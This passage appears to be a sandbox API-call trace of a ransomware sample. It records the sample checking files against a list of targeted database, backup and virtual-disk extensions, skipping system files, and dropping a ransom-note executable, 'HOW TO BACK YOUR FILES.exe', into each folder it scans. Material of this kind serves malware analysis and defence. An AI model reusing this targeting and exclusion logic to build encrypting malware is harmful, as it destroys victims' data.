	[0052.223] lstrcmpiW (lpString1="tml", lpString2="pdm") returned 1
	[0052.223] lstrlenW (lpString="pnz") returned 3
	[0052.223] lstrcmpiW (lpString1="tml", lpString2="pnz") returned 1
	[0052.223] lstrlenW (lpString="qry") returned 3
	[0052.224] lstrcmpiW (lpString1="tml", lpString2="qry") returned 1
	[0052.224] lstrlenW (lpString="qvd") returned 3
	[0052.224] lstrcmpiW (lpString1="tml", lpString2="qvd") returned 1
	[0052.224] lstrlenW (lpString="rbf") returned 3
	[0052.224] lstrcmpiW (lpString1="tml", lpString2="rbf") returned 1
	[0052.224] lstrlenW (lpString="rctd") returned 4
	[0052.224] lstrcmpiW (lpString1="html", lpString2="rctd") returned -1
	[0052.224] lstrlenW (lpString="rod") returned 3
	[0052.224] lstrcmpiW (lpString1="tml", lpString2="rod") returned 1
	[0052.224] lstrlenW (lpString="rodx") returned 4
	[0052.224] lstrcmpiW (lpString1="html", lpString2="rodx") returned -1
	[0052.224] lstrlenW (lpString="rpd") returned 3
	[0052.224] lstrcmpiW (lpString1="tml", lpString2="rpd") returned 1
	[0052.224] lstrlenW (lpString="rsd") returned 3
	[0052.224] lstrcmpiW (lpString1="tml", lpString2="rsd") returned 1
	[0052.224] lstrlenW (lpString="sas7bdat") returned 8
	[0052.224] lstrcmpiW (lpString1="ngs.html", lpString2="sas7bdat") returned -1
	[0052.224] lstrlenW (lpString="sbf") returned 3
	[0052.224] lstrcmpiW (lpString1="tml", lpString2="sbf") returned 1
	[0052.224] lstrlenW (lpString="scx") returned 3
	[0052.224] lstrcmpiW (lpString1="tml", lpString2="scx") returned 1
	[0052.224] lstrlenW (lpString="sdb") returned 3
	[0052.224] lstrcmpiW (lpString1="tml", lpString2="sdb") returned 1
	[0052.224] lstrlenW (lpString="sdc") returned 3
	[0052.224] lstrcmpiW (lpString1="tml", lpString2="sdc") returned 1
	[0052.224] lstrlenW (lpString="sdf") returned 3
	[0052.224] lstrcmpiW (lpString1="tml", lpString2="sdf") returned 1
	[0052.224] lstrlenW (lpString="sis") returned 3
	[0052.224] lstrcmpiW (lpString1="tml", lpString2="sis") returned 1
	[0052.224] lstrlenW (lpString="spq") returned 3
	[0052.224] lstrcmpiW (lpString1="tml", lpString2="spq") returned 1
	[0052.224] lstrlenW (lpString="te") returned 2
	[0052.224] lstrcmpiW (lpString1="ml", lpString2="te") returned -1
	[0052.224] lstrlenW (lpString="teacher") returned 7
	[0052.225] lstrcmpiW (lpString1="gs.html", lpString2="teacher") returned -1
	[0052.225] lstrlenW (lpString="tmd") returned 3
	[0052.225] lstrcmpiW (lpString1="tml", lpString2="tmd") returned 1
	[0052.225] lstrlenW (lpString="tps") returned 3
	[0052.225] lstrcmpiW (lpString1="tml", lpString2="tps") returned -1
	[0052.225] lstrlenW (lpString="trc") returned 3
	[0052.225] lstrcmpiW (lpString1="tml", lpString2="trc") returned -1
	[0052.225] lstrlenW (lpString="trc") returned 3
	[0052.225] lstrcmpiW (lpString1="tml", lpString2="trc") returned -1
	[0052.225] lstrlenW (lpString="trm") returned 3
	[0052.225] lstrcmpiW (lpString1="tml", lpString2="trm") returned -1
	[0052.225] lstrlenW (lpString="udb") returned 3
	[0052.225] lstrcmpiW (lpString1="tml", lpString2="udb") returned -1
	[0052.225] lstrlenW (lpString="udl") returned 3
	[0052.225] lstrcmpiW (lpString1="tml", lpString2="udl") returned -1
	[0052.225] lstrlenW (lpString="usr") returned 3
	[0052.225] lstrcmpiW (lpString1="tml", lpString2="usr") returned -1
	[0052.225] lstrlenW (lpString="v12") returned 3
	[0052.225] lstrcmpiW (lpString1="tml", lpString2="v12") returned -1
	[0052.225] lstrlenW (lpString="vis") returned 3
	[0052.225] lstrcmpiW (lpString1="tml", lpString2="vis") returned -1
	[0052.225] lstrlenW (lpString="vpd") returned 3
	[0052.225] lstrcmpiW (lpString1="tml", lpString2="vpd") returned -1
	[0052.225] lstrlenW (lpString="vvv") returned 3
	[0052.225] lstrcmpiW (lpString1="tml", lpString2="vvv") returned -1
	[0052.225] lstrlenW (lpString="wdb") returned 3
	[0052.225] lstrcmpiW (lpString1="tml", lpString2="wdb") returned -1
	[0052.225] lstrlenW (lpString="wmdb") returned 4
	[0052.225] lstrcmpiW (lpString1="html", lpString2="wmdb") returned -1
	[0052.225] lstrlenW (lpString="wrk") returned 3
	[0052.225] lstrcmpiW (lpString1="tml", lpString2="wrk") returned -1
	[0052.225] lstrlenW (lpString="xdb") returned 3
	[0052.225] lstrcmpiW (lpString1="tml", lpString2="xdb") returned -1
	[0052.225] lstrlenW (lpString="xld") returned 3
	[0052.225] lstrcmpiW (lpString1="tml", lpString2="xld") returned -1
	[0052.226] lstrlenW (lpString="xmlff") returned 5
	[0052.226] lstrcmpiW (lpString1=".html", lpString2="xmlff") returned -1
	[0052.226] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2814, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 0
	[0052.226] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0052.226] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc90
	[0052.226] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js"
	[0052.226] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599558 | out: hHeap=0x580000) returned 1
	[0052.226] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0052.226] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js") returned 68
	[0052.226] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js"
	[0052.226] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.226] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.233] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.233] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x37330e10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37330e10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0052.233] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.233] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.233] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.233] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x37330e10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37330e10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.233] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.233] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.233] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.233] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.233] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x467a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="clock.js", cAlternateFileName="")) returned 1
	[0052.233] lstrcmpiW (lpString1="clock.js", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.233] lstrcmpiW (lpString1="clock.js", lpString2="Apollon865.txt.exe") returned 1
	[0052.233] lstrcmpiW (lpString1="clock.js", lpString2=".") returned 1
	[0052.233] lstrcmpiW (lpString1="clock.js", lpString2="..") returned 1
	[0052.233] lstrcmpiW (lpString1="clock.js", lpString2="windows") returned -1
	[0052.233] lstrcmpiW (lpString1="clock.js", lpString2="bootmgr") returned 1
	[0052.233] lstrcmpiW (lpString1="clock.js", lpString2="temp") returned -1
	[0052.233] lstrcmpiW (lpString1="clock.js", lpString2="pagefile.sys") returned -1
	[0052.233] lstrcmpiW (lpString1="clock.js", lpString2="boot") returned 1
	[0052.233] lstrcmpiW (lpString1="clock.js", lpString2="ids.txt") returned -1
	[0052.233] lstrcmpiW (lpString1="clock.js", lpString2="ntuser.dat") returned -1
	[0052.233] lstrcmpiW (lpString1="clock.js", lpString2="perflogs") returned -1
	[0052.233] lstrcmpiW (lpString1="clock.js", lpString2="MSBuild") returned -1
	[0052.234] lstrlenW (lpString="clock.js") returned 8
	[0052.234] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\*") returned 70
	[0052.234] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="clock.js" | out: lpString1="clock.js") returned="clock.js"
	[0052.234] lstrlenW (lpString="clock.js") returned 8
	[0052.234] lstrlenW (lpString="Apollon865") returned 10
	[0052.234] lstrlenW (lpString=".dll") returned 4
	[0052.234] lstrcmpiW (lpString1="clock.js", lpString2=".dll") returned 1
	[0052.234] lstrlenW (lpString=".lnk") returned 4
	[0052.234] lstrcmpiW (lpString1="clock.js", lpString2=".lnk") returned 1
	[0052.234] lstrlenW (lpString=".ini") returned 4
	[0052.234] lstrcmpiW (lpString1="clock.js", lpString2=".ini") returned 1
	[0052.234] lstrlenW (lpString=".sys") returned 4
	[0052.234] lstrcmpiW (lpString1="clock.js", lpString2=".sys") returned 1
	[0052.234] lstrlenW (lpString="clock.js") returned 8
	[0052.234] lstrlenW (lpString="bak") returned 3
	[0052.234] lstrcmpiW (lpString1=".js", lpString2="bak") returned -1
	[0052.234] lstrlenW (lpString="ba_") returned 3
	[0052.234] lstrcmpiW (lpString1=".js", lpString2="ba_") returned -1
	[0052.234] lstrlenW (lpString="dbb") returned 3
	[0052.234] lstrcmpiW (lpString1=".js", lpString2="dbb") returned -1
	[0052.234] lstrlenW (lpString="vmdk") returned 4
	[0052.234] lstrcmpiW (lpString1="k.js", lpString2="vmdk") returned -1
	[0052.234] lstrlenW (lpString="rar") returned 3
	[0052.234] lstrcmpiW (lpString1=".js", lpString2="rar") returned -1
	[0052.234] lstrlenW (lpString="zip") returned 3
	[0052.234] lstrcmpiW (lpString1=".js", lpString2="zip") returned -1
	[0052.234] lstrlenW (lpString="tgz") returned 3
	[0052.234] lstrcmpiW (lpString1=".js", lpString2="tgz") returned -1
	[0052.234] lstrlenW (lpString="vbox") returned 4
	[0052.234] lstrcmpiW (lpString1="k.js", lpString2="vbox") returned -1
	[0052.234] lstrlenW (lpString="vdi") returned 3
	[0052.234] lstrcmpiW (lpString1=".js", lpString2="vdi") returned -1
	[0052.234] lstrlenW (lpString="vhd") returned 3
	[0052.234] lstrcmpiW (lpString1=".js", lpString2="vhd") returned -1
	[0052.235] lstrlenW (lpString="vhdx") returned 4
	[0052.235] lstrcmpiW (lpString1="k.js", lpString2="vhdx") returned -1
	[0052.235] lstrlenW (lpString="avhd") returned 4
	[0052.235] lstrcmpiW (lpString1="k.js", lpString2="avhd") returned 1
	[0052.235] lstrlenW (lpString="db") returned 2
	[0052.235] lstrcmpiW (lpString1="js", lpString2="db") returned 1
	[0052.235] lstrlenW (lpString="db2") returned 3
	[0052.235] lstrcmpiW (lpString1=".js", lpString2="db2") returned -1
	[0052.235] lstrlenW (lpString="db3") returned 3
	[0052.235] lstrcmpiW (lpString1=".js", lpString2="db3") returned -1
	[0052.235] lstrlenW (lpString="dbf") returned 3
	[0052.235] lstrcmpiW (lpString1=".js", lpString2="dbf") returned -1
	[0052.235] lstrlenW (lpString="mdf") returned 3
	[0052.235] lstrcmpiW (lpString1=".js", lpString2="mdf") returned -1
	[0052.235] lstrlenW (lpString="mdb") returned 3
	[0052.235] lstrcmpiW (lpString1=".js", lpString2="mdb") returned -1
	[0052.235] lstrlenW (lpString="sql") returned 3
	[0052.235] lstrcmpiW (lpString1=".js", lpString2="sql") returned -1
	[0052.235] lstrlenW (lpString="sqlite") returned 6
	[0052.235] lstrcmpiW (lpString1="ock.js", lpString2="sqlite") returned -1
	[0052.235] lstrlenW (lpString="sqlite3") returned 7
	[0052.235] lstrcmpiW (lpString1="lock.js", lpString2="sqlite3") returned -1
	[0052.235] lstrlenW (lpString="sqlitedb") returned 8
	[0052.235] lstrlenW (lpString="xml") returned 3
	[0052.235] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1
	[0052.235] lstrlenW (lpString="$er") returned 3
	[0052.235] lstrcmpiW (lpString1=".js", lpString2="$er") returned 1
	[0052.235] lstrlenW (lpString="4dd") returned 3
	[0052.235] lstrcmpiW (lpString1=".js", lpString2="4dd") returned -1
	[0052.235] lstrlenW (lpString="4dl") returned 3
	[0052.235] lstrcmpiW (lpString1=".js", lpString2="4dl") returned -1
	[0052.235] lstrlenW (lpString="^^^") returned 3
	[0052.235] lstrcmpiW (lpString1=".js", lpString2="^^^") returned -1
	[0052.235] lstrlenW (lpString="abs") returned 3
	[0052.235] lstrcmpiW (lpString1=".js", lpString2="abs") returned -1
	[0052.236] lstrlenW (lpString="abx") returned 3
	[0052.236] lstrcmpiW (lpString1=".js", lpString2="abx") returned -1
	[0052.236] lstrlenW (lpString="accdb") returned 5
	[0052.236] lstrcmpiW (lpString1="ck.js", lpString2="accdb") returned 1
	[0052.236] lstrlenW (lpString="accdc") returned 5
	[0052.236] lstrcmpiW (lpString1="ck.js", lpString2="accdc") returned 1
	[0052.236] lstrlenW (lpString="accde") returned 5
	[0052.236] lstrcmpiW (lpString1="ck.js", lpString2="accde") returned 1
	[0052.236] lstrlenW (lpString="accdr") returned 5
	[0052.236] lstrcmpiW (lpString1="ck.js", lpString2="accdr") returned 1
	[0052.236] lstrlenW (lpString="accdt") returned 5
	[0052.236] lstrcmpiW (lpString1="ck.js", lpString2="accdt") returned 1
	[0052.236] lstrlenW (lpString="accdw") returned 5
	[0052.236] lstrcmpiW (lpString1="ck.js", lpString2="accdw") returned 1
	[0052.236] lstrlenW (lpString="accft") returned 5
	[0052.236] lstrcmpiW (lpString1="ck.js", lpString2="accft") returned 1
	[0052.236] lstrlenW (lpString="adb") returned 3
	[0052.236] lstrcmpiW (lpString1=".js", lpString2="adb") returned -1
	[0052.236] lstrlenW (lpString="adb") returned 3
	[0052.236] lstrcmpiW (lpString1=".js", lpString2="adb") returned -1
	[0052.236] lstrlenW (lpString="ade") returned 3
	[0052.236] lstrcmpiW (lpString1=".js", lpString2="ade") returned -1
	[0052.236] lstrlenW (lpString="adf") returned 3
	[0052.236] lstrcmpiW (lpString1=".js", lpString2="adf") returned -1
	[0052.236] lstrlenW (lpString="adn") returned 3
	[0052.236] lstrcmpiW (lpString1=".js", lpString2="adn") returned -1
	[0052.236] lstrlenW (lpString="adp") returned 3
	[0052.236] lstrcmpiW (lpString1=".js", lpString2="adp") returned -1
	[0052.236] lstrlenW (lpString="alf") returned 3
	[0052.236] lstrcmpiW (lpString1=".js", lpString2="alf") returned -1
	[0052.236] lstrlenW (lpString="ask") returned 3
	[0052.236] lstrcmpiW (lpString1=".js", lpString2="ask") returned -1
	[0052.236] lstrlenW (lpString="btr") returned 3
	[0052.236] lstrcmpiW (lpString1=".js", lpString2="btr") returned -1
	[0052.236] lstrlenW (lpString="cat") returned 3
	[0052.237] lstrcmpiW (lpString1=".js", lpString2="cat") returned -1
	[0052.237] lstrlenW (lpString="cdb") returned 3
	[0052.237] lstrcmpiW (lpString1=".js", lpString2="cdb") returned -1
	[0052.237] lstrlenW (lpString="ckp") returned 3
	[0052.237] lstrcmpiW (lpString1=".js", lpString2="ckp") returned -1
	[0052.237] lstrlenW (lpString="cma") returned 3
	[0052.237] lstrcmpiW (lpString1=".js", lpString2="cma") returned -1
	[0052.237] lstrlenW (lpString="cpd") returned 3
	[0052.237] lstrcmpiW (lpString1=".js", lpString2="cpd") returned -1
	[0052.237] lstrlenW (lpString="dacpac") returned 6
	[0052.237] lstrcmpiW (lpString1="ock.js", lpString2="dacpac") returned 1
	[0052.237] lstrlenW (lpString="dad") returned 3
	[0052.237] lstrcmpiW (lpString1=".js", lpString2="dad") returned -1
	[0052.237] lstrlenW (lpString="dadiagrams") returned 10
	[0052.237] lstrlenW (lpString="daschema") returned 8
	[0052.237] lstrlenW (lpString="db-journal") returned 10
	[0052.237] lstrlenW (lpString="db-shm") returned 6
	[0052.237] lstrcmpiW (lpString1="ock.js", lpString2="db-shm") returned 1
	[0052.237] lstrlenW (lpString="db-wal") returned 6
	[0052.237] lstrcmpiW (lpString1="ock.js", lpString2="db-wal") returned 1
	[0052.237] lstrlenW (lpString="dbc") returned 3
	[0052.237] lstrcmpiW (lpString1=".js", lpString2="dbc") returned -1
	[0052.237] lstrlenW (lpString="dbs") returned 3
	[0052.237] lstrcmpiW (lpString1=".js", lpString2="dbs") returned -1
	[0052.237] lstrlenW (lpString="dbt") returned 3
	[0052.237] lstrcmpiW (lpString1=".js", lpString2="dbt") returned -1
	[0052.237] lstrlenW (lpString="dbv") returned 3
	[0052.237] lstrcmpiW (lpString1=".js", lpString2="dbv") returned -1
	[0052.237] lstrlenW (lpString="dbx") returned 3
	[0052.237] lstrcmpiW (lpString1=".js", lpString2="dbx") returned -1
	[0052.237] lstrlenW (lpString="dcb") returned 3
	[0052.237] lstrcmpiW (lpString1=".js", lpString2="dcb") returned -1
	[0052.238] lstrcmpiW (lpString1=".js", lpString2="dct") returned -1
	[0052.238] lstrcmpiW (lpString1=".js", lpString2="dcx") returned -1
	[0052.238] lstrcmpiW (lpString1=".js", lpString2="ddl") returned -1
	[0052.238] lstrcmpiW (lpString1="k.js", lpString2="dlis") returned 1
	[0052.238] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="settings.js" | out: lpString1="settings.js") returned="settings.js"
	[0052.238] lstrlenW (lpString="settings.js") returned 11
	[0052.238] lstrlenW (lpString="Apollon865") returned 10
	[0052.238] lstrcmpiW (lpString1="ettings.js", lpString2="Apollon865") returned 1
	[0052.238] lstrlenW (lpString=".dll") returned 4
	[0052.238] lstrcmpiW (lpString1="settings.js", lpString2=".dll") returned 1
	[0052.238] lstrlenW (lpString=".lnk") returned 4
	[0052.238] lstrcmpiW (lpString1="settings.js", lpString2=".lnk") returned 1
	[0052.238] lstrlenW (lpString=".ini") returned 4
	[0052.238] lstrcmpiW (lpString1="settings.js", lpString2=".ini") returned 1
	[0052.238] lstrlenW (lpString=".sys") returned 4
	[0052.238] lstrcmpiW (lpString1="settings.js", lpString2=".sys") returned 1
	[0052.238] lstrlenW (lpString="settings.js") returned 11
	[0052.238] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="timeZones.js" | out: lpString1="timeZones.js") returned="timeZones.js"
	[0052.238] lstrlenW (lpString="timeZones.js") returned 12
	[0052.238] lstrlenW (lpString="Apollon865") returned 10
	[0052.238] lstrcmpiW (lpString1="meZones.js", lpString2="Apollon865") returned 1
	[0052.238] lstrlenW (lpString=".dll") returned 4
	[0052.238] lstrcmpiW (lpString1="timeZones.js", lpString2=".dll") returned 1
	[0052.238] lstrlenW (lpString=".lnk") returned 4
	[0052.238] lstrcmpiW (lpString1="timeZones.js", lpString2=".lnk") returned 1
	[0052.238] lstrlenW (lpString=".ini") returned 4
	[0052.238] lstrcmpiW (lpString1="timeZones.js", lpString2=".ini") returned 1
	[0052.239] lstrlenW (lpString=".sys") returned 4
	[0052.239] lstrcmpiW (lpString1="timeZones.js", lpString2=".sys") returned 1
	[0052.239] lstrlenW (lpString="timeZones.js") returned 12
	[0052.239] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css"
	[0052.239] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994c0 | out: hHeap=0x580000) returned 1
	[0052.239] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0052.239] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css") returned 69
	[0052.239] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css"
	[0052.239] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.239] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\en-us\\css\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.243] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.243] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x37356f70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37356f70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0052.243] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.243] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.243] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.243] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x37356f70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37356f70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.243] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.243] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.243] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.243] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.243] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2a2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="clock.css", cAlternateFileName="")) returned 1
	[0052.243] lstrcmpiW (lpString1="clock.css", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.243] lstrcmpiW (lpString1="clock.css", lpString2="Apollon865.txt.exe") returned 1
	[0052.243] lstrcmpiW (lpString1="clock.css", lpString2=".") returned 1
	[0052.243] lstrcmpiW (lpString1="clock.css", lpString2="..") returned 1
	[0052.243] lstrcmpiW (lpString1="clock.css", lpString2="windows") returned -1
	[0052.243] lstrcmpiW (lpString1="clock.css", lpString2="bootmgr") returned 1
	[0052.243] lstrcmpiW (lpString1="clock.css", lpString2="temp") returned -1
	[0052.243] lstrcmpiW (lpString1="clock.css", lpString2="pagefile.sys") returned -1
	[0052.243] lstrcmpiW (lpString1="clock.css", lpString2="boot") returned 1
	[0052.243] lstrcmpiW (lpString1="clock.css", lpString2="ids.txt") returned -1
	[0052.243] lstrcmpiW (lpString1="clock.css", lpString2="ntuser.dat") returned -1
	[0052.243] lstrcmpiW (lpString1="clock.css", lpString2="perflogs") returned -1
	[0052.243] lstrcmpiW (lpString1="clock.css", lpString2="MSBuild") returned -1
	[0052.244] lstrlenW (lpString="clock.css") returned 9
	[0052.244] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\*") returned 71
	[0052.244] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="clock.css" | out: lpString1="clock.css") returned="clock.css"
	[0052.244] lstrlenW (lpString="clock.css") returned 9
	[0052.244] lstrlenW (lpString="Apollon865") returned 10
	[0052.244] lstrlenW (lpString=".dll") returned 4
	[0052.244] lstrcmpiW (lpString1="clock.css", lpString2=".dll") returned 1
	[0052.244] lstrlenW (lpString=".lnk") returned 4
	[0052.244] lstrcmpiW (lpString1="clock.css", lpString2=".lnk") returned 1
	[0052.244] lstrlenW (lpString=".ini") returned 4
	[0052.244] lstrcmpiW (lpString1="clock.css", lpString2=".ini") returned 1
	[0052.244] lstrlenW (lpString=".sys") returned 4
	[0052.244] lstrcmpiW (lpString1="clock.css", lpString2=".sys") returned 1
	[0052.244] lstrlenW (lpString="clock.css") returned 9
	[0052.244] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="settings.css" | out: lpString1="settings.css") returned="settings.css"
	[0052.244] lstrlenW (lpString="settings.css") returned 12
	[0052.244] lstrlenW (lpString="Apollon865") returned 10
	[0052.244] lstrcmpiW (lpString1="ttings.css", lpString2="Apollon865") returned 1
	[0052.244] lstrlenW (lpString=".dll") returned 4
	[0052.244] lstrcmpiW (lpString1="settings.css", lpString2=".dll") returned 1
	[0052.244] lstrlenW (lpString=".lnk") returned 4
	[0052.244] lstrcmpiW (lpString1="settings.css", lpString2=".lnk") returned 1
	[0052.244] lstrlenW (lpString=".ini") returned 4
	[0052.244] lstrcmpiW (lpString1="settings.css", lpString2=".ini") returned 1
	[0052.244] lstrlenW (lpString=".sys") returned 4
	[0052.244] lstrcmpiW (lpString1="settings.css", lpString2=".sys") returned 1
